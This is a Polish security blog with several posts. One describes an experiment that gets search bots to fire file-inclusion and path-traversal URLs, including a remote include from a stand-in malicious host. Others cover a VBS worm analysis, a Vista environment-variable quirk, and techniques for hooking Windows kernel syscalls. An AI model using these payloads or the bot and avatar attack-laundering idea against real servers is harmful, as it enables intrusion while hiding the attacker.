Tak więc zawieszam działalność tego blogu (i tak dawno tu nie pisałem), i jednocześnie zapraszam na mój nowy blog: http://gynvael.coldwind.pl

Całkiem niedawno wpadła mi w ręce świetna książka “Cisza w sieci” autorstwa Michała Zalewskiego (lcamtuf-a). W drugiej połowie książki jest przedruk artykułu z Phrack 0×39 “Rise of the Robots” (również autorstwa lcamtuf-a). Artykuł sugeruje iż można wykorzystać roboty webowe (np. GoogleBot) do przeprowadzania ataków na strony WWW oraz niektóre usługi, po prostu podając im linka który jednocześnie przeprowadza atak, np:

http://alamakota.pl/skrypt.php?inc=http://zly.pl/evil.txt

W ramach eksperymentowania postanowiłem powtórzyć opisany przez lcamtuf-a eksperyment, dodając jeszcze jeden warunek - uzyskanie informacji zwrotnej na temat tego czy atak się powiódł oraz jego rezultatów.  W tym celu na swojej stronie http://gynvael.vexillium.org stworzyłem trzy testowe linki:

Pewien test by gyn -> http://gynvael.lunarii.org/test.php?inc=../../../../etc/passwd
Inny test by gyn -> http://gynvael.lunarii.org/test.php?inc=http://zlosliwa.strona.haxxora.pl/zlosliwy.php
Kolejny test by gyn -> http://gynvael.lunarii.org/test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E

Dodatkowo na stronie http://gynvael.vexillium.org włączyłem skrypt logujący odwiedziny. Skrypt test.php również dokładnie loguje wszelkie odwiedziny, dodatkowo, wywołany z niepustym parametrem inc, listuje coś co mogło by być plikiem /etc/passwd.

Eksperyment trwał niecały miesiąc, rozpoczął się 4 sierpnia. Piątego sierpnia o 00:42 przybył na stronę z linkami pierwszy bot msnbot/1.0 (+http://search.msn.com/msnbot.htm), dwie minuty po nim pojawił się jakiś prywatny szperacz libwww-perl/5.80 z adresu amenti.chthonic.net. Yahoo! pojawiło się około 8:16, a o 9:33 przyszedł GoogleBot. Yahoo! wróciło jeszcze o 12:45 oraz 23:30. Szóstego sierpnia pojawił się niejaki Gigabot/3.0 (http://www.gigablast.com/spider.html). I tak dalej. W ciągu niecałego miesiąca stronę odwiedziła cała masa botów, które parsowały linki przeprowadzające atak, i za pewne zapamiętywały je w calu późniejszego odwiedzenia.

Jeśli chodzi o stronę atakowaną, pierwszy atak przeprowadził GoogleBot o godzinie 11:05 (czyli godzinę i 32 minuty po wizycie na stronie z linkami). Atak został przeprowadzony na adres /test.php?inc=http://zlosliwa.strona.haxxora.pl/zlosliwy.php.

Na kolejny atak czekać było trzeba ponad 4 dni. Dziewiątego sierpnia pojawił się Slurp (bot Yahoo!) i “przeprowadził atak” na /test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E. 15 minut po nim ten sam atak przeprowadził GoogleBot.

Kolejny atak odbył się 16 sierpnia, wykonał go ponownie bot Yahoo! wchodząc ponownie na /test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E. 18 sierpnia pojawił się znowu GoogleBot wykonując ponownie ten sam atak co Yahoo! dwa dni wcześniej. Yahoo! wrócił na ten adres ponownie 23 sierpnia.

Co ciekawe, inne boty nie zainteresowały się linkami.

Wniosek z eksperymentu w tym momencie brzmi: można wykorzystać boty do przeprowadzania ataków (HTTP/GET, ew inne). W moim wypadku wystarczyło poczekać 1.5h, i atak został przeprowadzony. Co ciekawe, po wizycie pierwszego bota google czy yahoo, można linki usunąć ze strony.

Natomiast idźmy o krok dalej. Mianowicie boty przeprowadzały “atak” który powodował wylistowanie jakiegoś ważnego pliku. Jak uzyskać informacje o tym co w tym pliku było ? Z “pomocą” przychodzi tutaj mechanizm cytowania stron na wyszukiwarkach, oraz mechanizm cache’owania stron.

Mechanizm cytowania polega na wyświetlaniu fragmentu strony, który zawiera poszukiwany przez nas ciąg. Można go użyć do uzyskania całej strony w bardzo prosty sposób, mianowicie dodając do zapytania ostatni wyraz (np nazwę użytkownika w przypadku /etc/passwd) widziany w podanym fragmencie (a usuwając inne wyrazy). Dzięki temu w następnym cytacie uzyskamy dalszy fragment strony. Użycie mechanizmu cytowania wygląda tak:

Mechanizm cache w wypadku google powoduje po prostu przywołanie zawartości strony z pamięci wyszukiwarki. Może dać to następujące rezultaty:

Niestety cache Yahoo! nie zawierał strony z etc/passwd:

Tak więc za pomocą botów można przeprowadzić atak, oraz uzyskać informacje zwrotne na temat powodzenia ataku. Dodam że strona w google cache pojawiła się dopiero pod koniec eksperymentu, czyli okres oczekiwania na wyniki jest długi.

Podczas eksperymentu wyszła jeszcze jedna ciekawa rzecz. Mianowicie linki testowe były publicznie dostępne na gynvael.vexillium.org, i co ciekawe, odwiedzający moją stronę bardzo chętnie je “klikali”. Jeśli podczas eksperymentu atak przeprowadziło niecałe 10 botów, to w logach można spokojnie znaleźć informacje o około 100 “atakach” przeprowadzonych przez normalnych użytkowników. Co bardziej ciekawscy po pierwszym wejściu zaopatrzyli się nawet w zagraniczne proxy i szperali dalej do czego inc= można wykorzystać :).
Natomiast ta informacja może wskazać kolejny wektor “ataków” na który będą w przyszłości narażeni normalni użytkownicy. Wystarczy podać na forum czy w przysłowiowych “komentarzach onet” jakiś link (np. dodatkowo “spakowany” za pomocą tiny.pl), a ludzie na pewno na niego “klikną”, czyli de facto, przeprowadzą “za nas” atak na jakiś serwer. Proszę zauważyć że nawet “klikanie” na link można pominąć, choćby poprzez wstawienie “atakującego linku” jako awatar na jakimś forum. W takim wypadku wystarczy by użytkownik odwiedzający forum po prostu wszedł na stronę, a już bezwiednie przeprowadza atak. Taka metoda ataków może bardzo utrudnić zlokalizowanie prawdziwego napastnika.

OK Tyle,

G.C.

ps. jeśli ktoś jeszcze nie czytał “Ciszy w sieci”, to bardzo polecam ;>, mega książka

Podczas pisania (to jeszcze nie jest czas przeszły ukończony ;>) tutoriala poświęconego językowi skryptowemu .bat (batch) natknąłem się na pewne ciekawe niedopatrzenie, lub jak kto woli - feature, w Windows Vista, dotyczący zmiennych środowiskowych. Jak każdy kto pisał kiedyś coś w języku .bat wie, istnieje możliwość deklarowania nowych zmiennych środowiskowych, dla własnego procesu oraz procesów potomnych, za pomocą instrukcji SET, np. SET NAZWA=WARTOSC. W skryptach .bat maksymalna wielkość wartości (w znakach) zależy od interpretera, a dokładniej od ograniczenia maksymalnej wielkości wiersza poleceń. Interpreter Windows NT 4 oraz Windows 2000 posiadał ograniczenie 2048 znaków, Windows XP oraz 2003 zwiększyło limit do 8192, natomiast Windows Vista nie nakłada ograniczenia na ilość znaków w przypadku komendy SET.

Prosty skrypt w którym najpierw tworzymy dłuuugą zmienną, a potem ją wypisujemy za pomocą komendy SET NAZWA pokazuje że maksymalna wielkość zmiennej (wraz z jej nazwą oraz znakiem równości) wynosi 8192 bajty, przy czym zjadany jest nawet znak końca linii przy wypisywaniu.

Ah, ale czy na pewno o tym mówi taki skrypt ? Nie do końca. Mianowicie skrypt mówi że maksymalna długość linii przewidziana w poleceniu SET wynosi 8192. Jak więc ustalić maksymalną długość zmiennej ? Można zajrzeć do listingu interpretera CMD.EXE i poszukać implementacji funkcji SET. W implementacji znajdziemy funkcję SetEnvironmentVariablW, która najwyraźniej jest odpowiedzialna za ustawienie zmiennej. Rzut okiem na MSDN i wiemy że:

The total size of the environment block for a process may not exceed 32,767 characters.

Czyli dowiedzieliśmy się że maksymalna wielkość bloku zmiennych środowiskowych dla procesu wynosi 32767 znaków. OK. Ale czemu by tego nie przetestować ? Można stworzyć więc prosty programik który, korzystając z trzeciego parametru funkcji main(), wypisze wszystkie zmienne środowiskowe, czyli zadziała tak jak SET. Programik może wyglądać następująco:


#include <stdio.h>

int
main(int argc, char **argv, char **envp)
{
while(*envp)
{
puts(*envp);
envp++;
}

return 0;
}


Tworzymy ponownie zmienną środowiskową, powiedzmy taką o długości wstępnej 40000 znaków, i zgodnie z dokumentacją oczekujemy że jej wielkość będzie większa niż 8192 znaki które wypisuje SET, ale mniejsza niż 32767 znaków. Odpalamy i… okazuje się że zmienna ma 40000 znaków. Huh.

Jak wspomniałem wcześniej, SET korzysta z SetEnvironmentVariable. Można więc napisać prosty program który upewni się że ta funkcja faktycznie może stworzyć zmienną powyżej 32767 znaków:


#include <stdio.h>
#include <windows.h>

int main(void)
{
static char big[40000 + 1];
int i;

for(i = 0; i < sizeof(big) - 1; i++)
big[i] = 'A';

if(!SetEnvironmentVariable("big", big))
printf("ERROR %i\n", GetLastError());

return 0;
}


Kompilujemy, odpalamy, i… Nie działa, ERROR 87 czyli ERROR_INVALID_PARAMETER. Ciekawe. Po porównaniu listingów okazuje się oczywiście że my używamy funkcji A, natomiast interpreter korzysta z funkcji W, czyli wersji wide-char. Teoretycznie obie funkcje powinny dawać identyczne rezultaty, jednak czy na pewno tak jest ? Przetestujmy:


#include <stdio.h>
#include <windows.h>

static char big_c[1024*1024];
static short big_s[1024*1024];

int
main(void)
{
int i;

for(i = 0; i < 1024*1024 - 1; i++)
{
big_c[i] = 'A';
big_s[i] = 'A';
}

printf("W: %i\n", SetEnvironmentVariableW(L"S",big_s));
printf("A: %i\n", SetEnvironmentVariableA("A",big_c));

return 0;
}


Windows Vista pokazała wynik W: 1 oraz A: 0. Skąd ta różnica? Odpowiedzią która się nasuwa jest “panowie z MS zapomnieli sprawdzania wielkości w wersji W, a mają ją w wersji A”. Natomiast tak nie do końca jest. Jak wynika z analizy listingu obu funkcji, nie ma w żadnej sprawdzania wielkości. Skąd więc błąd w funkcji A? Otóż wersja ANSI funkcji, jak to jest w większości przypadków, konwertuje stringi ANSI na stringi Wide-Char, po czym wywołuje funkcję W, lub funkcję realizującą dane działanie która znajdzuje się w NTDLL.DLL. W tym wypadku mamy do czynienia z tym drugim, mianowicie obie funkcje wywołują RtlSetEnvironmentVar (A zachacza jeszcze o RtlSetEnvironmentVariable, ale to bez znaczenia). Stąd wniosek, że błąd jest generowany w momencie konwersji ANSI na Wide-Char. I faktycznie, w funkcji RtlInitAnsiStringEx znajdujemy następujące instrukcje:


cmp eax, 0FFFEh ; w EAX jest długość stringu
ja loc_ERROR

[...]

ERROR:
mov eax, 0C0000106h ; STATUS_NAME_TOO_LONG
pop ebp
retn 8


Najwyraźniej funkcja RtlInitAnsiStringEx nie dopuszcza przydługawych stringów. Cóż.

Jakie są tego implikacje? Raczej nic poważnego, jako że zmienne środowiskowe utworzone w danym procesie i tak są przekazywane tylko do jego dzieci. Ale jednak są, więc przykładowo jeśli utworzymy zmienną o długości 100MB i uruchomimy 20 kalkulatorów to zużyjemy całą pamięć systemu (taki eksperyment u mnie skończył się 10 minutowym zawieszeniem systemu, po tym czasie system się jednak odwiesił i dalej działał już normalnie; pagefile widać długo był tworzony). Inną implikacją mogą być problemy jeśli program-dziecko korzysta nieumiejętnie ze zmiennych środowiskowych (strcpy(zmienna, envp[2]) ;>). Tak jest na przykład w przypadku interpretera poleceń Windows NT4, który, jeśli uruchomiony w momencie gdy w środowisku jest zmienna powyżej określonej wielkości, po wydaniu komendy SET najzwyczajniej w świecie się wysypał (ACCESS_VOLATION). Na szczęście nikt nie używa interpretera z NT4 na Viście.

Z moich testów wynika iż problem dotyczy jedynie Windows Vista. Na XP ani funkcja A, ani funkcja W nie pozwalają na alokacje przydługawych zmiennych środowiskowych.

K tyle. G.C.

Wczoraj omega red opublikował bardzo ciekawy moim zdaniem program do listowania syscalli na systemach z rodziny Windows, za równo 32 bitowych, jak i 64 bitowych.

Warto rzucić okiem imho ;>

Link: http://www.openrce.org/blog/view/808/Syscall_lister

G.C.

Wczoraj zostałem poproszony o rzucenie okiem na kompa, z zainstalowanym systemem Windows XP, na którym “nie działało” otwieranie dysków poprzez dwuklik na ikonkę dysku w Moim Komputerze. Powodem okazał się worm, napisany w VBS, przedstawiający się jako “Slow but sure V0.05″. Worm ma coś ponad 50 unicode’owych linijek, i niezwykle prostą i skuteczną zasadę działania. Mianowicie, ofiara dostaje worm’a na przenośnym nośniku (np. pendrive) na którym worm wcześniej utworzył dwa pliki:

• autorun.inf - z rozkazem wykonania (shellexecute) komendy “wscript.exe MS32DLL.dll.vbs”
• MS32DLL.dll.vbs - kopia worma

Po włożeniu nośnika i dwukliku na jego ikonę Windows (nie wiem jak na SP 2, komputer z którym miałem do czynienia był offline i nie miał SP żadnego) pięknie uruchamia polecenie o którym mowa w autorun.inf. Uruchomiony worm kopiuje siebie oraz autorun.inf do roota każdego dysku. Po za tym wykonywana jest kopia worma do katalogu Windows’a. Worm tworzy dodatkowo 3 wpisy w rejestrze:

• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL - z wartością C:\Windows\MS32DLL.dll.vbs (przy czym wartość zależy od faktycznej ścieżki do Windows’a)
• HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title - z wartością “Hacked by Godzilla”
• HKCR\vbsfile\DefaultIcon - z wartością “shell32.dll,2″

Po czym zasypia na 200 sekund, chyba że natknie się na dysk typu “Removable”. W przypadku gdyby natknął się na taki dysk uruchamia polecenie “c:\windows\explorer.exe /e,/select, SCIEZKA_DO_SKRYPTU”. I tyle. A, zapomniałem dodać że autorun.inf oraz plik skryptu mają atrybuty poustawiane na ASHR.

Usunięcie worm’a jest proste. Mianowicie wystarczy skillować (ctrl+shift+esc) wszystkie wscript.exe, po czym usunąć pliki autorun.inf i MS32DLL.dll.vbs z rootów dysku i katalogu Windows’a. Ewentualnie (;p) można jeszcze usunąć dodane wpisy w rejestrze.

OK tyle ;>

G.C.

Wczoraj po rozmowie z deus’em mnie oświeciło czemu niektórych syscalli jest więcej. Sprawa okazuje się być trywialna, jak zawsze. Okazuje się iż większość tych “powtarzających się” syscalli to po prostu funkcje zwracające STATUS_NOT_IMPLEMENTED (aka C0000002h). Większość tych syscalli jest więc zaimplementowana przez jedną funkcję, dlatego wydaje się że się powtarzają.

Tak więc STATUS_NOT_IMPLEMENTED zwracają:

• “NtQuerySystemEnvironmentValueEx” implementująca niezaimplementowane funkcje z 14h bajtów argumentów (RETN 14h): ACh, EFh
• “NtEnumerateSystemEnvironmentValuesEx” implementująca niezaimplementowane funkcje z 0Ch argumentów (RETN 0Ch): 48h
• “NtModifyBootEntry” implementująca niezaimplementowane funkcje z 4roma bajtami argumentów (RETN 4): 15h, 3Dh, 6Dh
• “NtEnumerateBootEntries” implementująca niezaimplementowane funkcje z 8smioma bajtami argumentów (RETN 8): 9, 46h, 8Ch, 8Dh, D3h, D4h
• “NtTranslateFilePath” implementująca niezaimplementowane funkcje z10h bajtów argumentów (RETN 10h): 105h

Czyli, wg oznaczeń z Metasploit Project, niezaimplementowane syscalle to: NtAddBootEntry, NtEnumerateBootEntries, NtQueryBootEntryOrder, NtQueryBootEntryOrder, NtSetBootEntryOrder, NtSetBootOptions, NtTranslateFilePath, NtCancelDeviceWakeupRequest, NtDeleteBootEntry, NtModifyBootEntry, NtEnumerateSystemEnvironmentValuesEx, NtQuerySystemEnvironmentValueEx oraz NtSetSystemEnvironmentValueEx.

K tyle ;>

Natrafiłem wczoraj na pewne ciekawostki związane z tablicą syscalli jądra (KiServiceTable)  w XP.

Pierwszą sprawą jest syscall NtEnumerateBootEntries który w tablicy pojawia się 6 (słownie: sześć) razy, na pozycjach 9h,  46h, 8Ch, 8Dh, D3h oraz D4h. Co ciekawe, lister syscalli by omega_red pokazuje (u niego) w tych miejscach syscall NtSetBootOptions.

Jeszcze ciekawsze jest to, że w podanych wyżej miejscach wg. listy syscalli na metasploit project  znajdują się kolejno:

• 9h NtAddBootEntry
• 8Ch NtQueryBootEntryOrder
• 8Dh NtQueryBootOptions
• D3h NtSetBootEntryOrder
• D4h NtSetBootOptions

Na pozycji 46h znajduje się faktycznie NtEnumerateBootEntries.

Z początku myślałem że to coś nie tak u mnie z kernelem/symbolami, ale po kilku kolejnych testach na wirtualnych maszynach (+windbg) oraz poproszeniu kilku osób (thx omeg, fr3 & deus) o ich kernele / testy wyszło że faktycznie tak po prostu jest.

Jeśli chodzi o inne różnice między listą syscalli Metasploit Project, to:

• 15h, wg symboli NtModifyBootEntry, wg Metasploit Project NtCancelDeviceWakeupRequest
• 3Dh, wg symboli NtModifyBootEntry, wg Metasploit Project NtDeleteBootEntry
• EFh, wg symboli NtQuerySystemEnvironmentValueEx, wg Metasploit Project NtSetSystemEnvironmentValueEx

Wygląda więc na to że NtModifyBootEntry pojawia się również więcej niż raz.

Ciekawe z czego te różnice wynikają. I dlaczego niektórych syscalli jest tak dużo, a innych “brakuje”.

K tyle. G.C.

Jeszcze jeden króciutki post dzisiejszego wieczoru. Taka mała “cytatowa” historyjka pod tytułem “dlaczego ps aux nie powinno pokazywać procesów innych userów” ;>

reiko 3184 0.0 1.3 263248 13552 pts/5 Sl+ Jun27 0:00 java -cp .:mysql_jdbc2.0.jar NickServer –nsport 14992 –dbdriver org.gjt.mm.mysql.Driver –dbconnection jdbc:mysql://localhost/reiko_czat?user=reiko_czat&password=sthchatr3ik000

hovik 7670 0.0 1.3 263760 13708 ? Sl Jun27 0:01 java -cp .:mysql_jdbc2.0.jar NickServer –port 14998 –dbdriver org.gjt.mm.mysql.Driver –dbconnection jdbc:mysql://localhost/hovik_hotczat?user=hovik_hoczat&password=sthchat777y

Dla bezpieczeństwa userów hasła troszkę zmieniłem ;> Niemniej jednak widać o co chodzi. Cóż ;>

G.C.

O ile hookowanie syscalli zawartych w kernelu Windowsa z rodziny NT, czyli ntoskrnl, nie sprawia żadnych problemów, o tyle w przypadku syscalli odpowiedzialnych za GUI jest trochę więcej kombinowania. Ale po kolei.

Każdy thread pod WinNT ma określony zestaw syscalli (KSERVICE_TABLE_DESCRIPTOR[]) z którego może korzystać. Na dobrą sprawę mamy dwa takie zestawy:

• KeServiceDescriptorTable - zawierający jedynie odniesienie do syscalli z ntoskrnl
• KeServiceDescriptorTableShadow - zawierający odniesienie za równo do syscalli z ntoskrnl, jak i win32k

Domyślnie każdy utworzony thread ma przypisany (Thread->Tcb.ServiceTable) pierwszy zestaw, czyli KeServiceDescriptorTable. Symbol tego zestawu jest wyexportowany, więc zlokalizowanie zestawu oraz tablicy syscalli nie jest żadnym problemem.

W przypadku kiedy thread wywoła jakiś syscall >= 0×1000, np NtUserFindWindowEx (poprzez np funkcję FindWindow), uruchamiana jest procedura PsConvertToGuiThread() (base\ntos\ps\psquery.c) która między innymi podmienia zestaw syscalli na KeServiceDescriptorTableShadow.

I tutaj zaczynają się “schody”. Mianowicie KeServiceDescriptorTableShadow nie jest exportowany przez kernel, czyli w legalny sposób nie można się do tego dobrać. Ale OK, tak w zasadzie wystarczy tylko adres tablicy syscalli (_W32pServiceTable) w win32k, bo to pointery w tej tablicy podmieniamy.  Niestety, _W32pServiceTable również nie jest eksportowany.

Wyjść jest oczywiście kilka:

• Sprawdzić w symbolach gdzie jest KeServiceDescriptorTableShadow lub _W32pServiceTable i użyć tego adresu (jako stałego). Niestety co patch na kernel/win32k trzeba ten adres ponownie sprawdzać.
• Alexander Volynkin zaproponował przeszukanie wszystkich adresów występujących w funkcji KeAddSystemServiceTable, tak aby natrafić na adres który wskazuje na strukturę wypełnioną identycznymi danymi jak KeServiceDescriptorTable, ale jednak nie będącą pod tym samym adresem (pierwszy wpis w obu strukturach w końcu jest identyczny, bo opisuje tablicę syscalli z ntoskrnl). Jest to niezła metoda, chociaż trochę “hackish” (jak to mawia pewien mój pro znajomy ;>).
•  Różni ludzie proponują aby poszukać identycznego wpisu jak pierwszy z KeServiceDescriptorTable gdzieś w okolicy (+- 256 bajtów) KeServiceDescriptorTable. Faktycznie KeServiceDescritorTableShadow jest umieszczany zazwyczaj przez kompilator w tych okolicach (w źródle kernela obie struktury są koło siebie), jednak to nie jest zbyt pewna metoda. Niemniej jednak póki co skuteczna.
• Można przeszukać DriverEntry win32k na odwołania do KeAddSystemServiceTable, w końcu ta funkcja jako parametr przyjmuje adres tablicy syscalli (push offset _W32pServiceTable). Ta metoda nie brzmi jednak zbyt pewnie.
• Można poczekać aż driver zostanie wywołany w kontekscie threadu z “pełnym” zestawem syscalli (np. użyć procedur powiadamiania o zniszczeniu wątku i poczekać aż się jakiś trafi, a one często się trafiają), po czym odczytać z Thread->Tcb.ServiceTable adres tabeli syscalli.
• Można przeszukać listę threadów i zobaczyć które mają inną zestaw inny niż KeServiceDescriptorTable.
• Ewentualnie można podmienić procedurę obsługującą SYSENTER i zobaczyć gdzie ona szuka/skacze. Ta metoda jednak nie jest najszczęśliwsza (nie spełnia zasady KISS ;>).
• etc.

Metod jest dużo, wszystkie jednak zmuszają do uciekania się do pewnych sztuczek. Cóż, czasem ważne żeby po prostu działały.

To niestety nie koniec “schodów”. Okazuje się że w przypadku Windowsa XP (nie wiem jak z nowszymi) win32k nie zawsze jest widoczny w pamięci wirtualnej. Owszem, jest zawsze w pamięci fizycznej, ale jeśli dany thread nie jest ustawiony jako GUI, to win32k nie jest zamapowany do pamięci wirtualnej, nawet w przypadku gdy thread działa kernel mode. To wymaga znowu kombinowania. Metod znowu jest kilka:

• Znaleźć win32k w pamięci fizycznej i zamapować go “ręcznie”. Szybkość nie jest mocną stroną tej metody.
• Postarać się aby podmiana syscalli następowała w momencie gdy driver działa w kontekscie threadu GUI (patrz poprzednia metoda z PsSetCreateProcessNotifyRoutine tudzież PsSetCreateThreadNotifyRoutine, lub można też część działającą w user mode poprosić o “dotknięcie” drivera po uprzednim zainicjowaniu GUI).

Osobiście skorzystałem z tej drugiej metody. Nyom. Po rozwiązaniu takich dwóch problemów możemy się cieszyć sliczymi hookami w win32k.

Dodam jeszcze na koniec że należy uważać przy korzystaniu ze źródeł ReactOS do określania parametrów przyjmowanych przez dany syscall. Okazuje się iż mimo że ReactOS ma być w 100% kompatybilny z Windows’em, to nie wszystkie rzeczy są zachowane. Przykładem może być NtUserFindWindowEx który w przypadku ReactOS pobiera 16 bajtów parametrów (4 x 4 bajty), a  przypadku Windows XP 20 bajtów parametrów (5 x 4 bajty). Cóż ;>

Dobra, to tyle ;>
Zachęcam do komentowania tego oraz poprzednich postów ;>

G.C.

Pierwszy post po przeprowadzce. Uff. Jeszcze sporo latania co prawda zostało, ale sytuacja się stabilizuje i powoli wracam do normalnego trybu. Moje stanowisko pracy też zaczyna wyglądać normalnie (tj już mam biurko na którym można było PCta rozstawić =^^=).

Anyway, dzisiejszy post będzie dość krótki. I dotyczył będzie pewnego zjawiska które mnie zastanowiło ostatnio (a w zasadzie już jakiś czas temu).

W większości hipermarketów znajdziemy jakiś duuży sklep z elektronikom typu MediaMarkt czy Saturn. W takich sklepach oprócz peryferiów można nabyć też całe zmontowane kompy z zainstalowanym systemem etc. Oczywiście pewną kwestią jest czy opłaca się kupować złożonego kompa w takim sklepie, ale ja nie o tym. Pewnym imho zaniedbaniem ze strony tychże sklepów jest wystawianie na widok seriali zainstalowanych systemów operacyjnych. Ów seriale są w postaci ślicznych naklejek naklejone na górę obudowy i w sumie tylko czekają aż ktoś je spisze. Pół biedy jeśli system na takim PC był już aktywowany. Ale co jeśli nie był ? Uczciwy nabywca po zakupie może stwierdzić że jego klucz jest już używany, bo wcześniej ktoś przyszedł z komórką i zrobił fotkę kilku ciekawym “obudowom”. Problem dotyczy też laptopów. One co prawda mają seriale od systemów operacyjnych nalepione zazwyczaj na spodzie, ale (niespodzianka) można je podnieść ;p. Cóż. Ciekawe ile reklamacji będzie trzeba aż tego typu sklepy zaczną przynajmniej zasłaniać seriale.

No nic, motto na dziś.. po co komu keygen jak jest MediaMarkt ;p

Do jutra ;>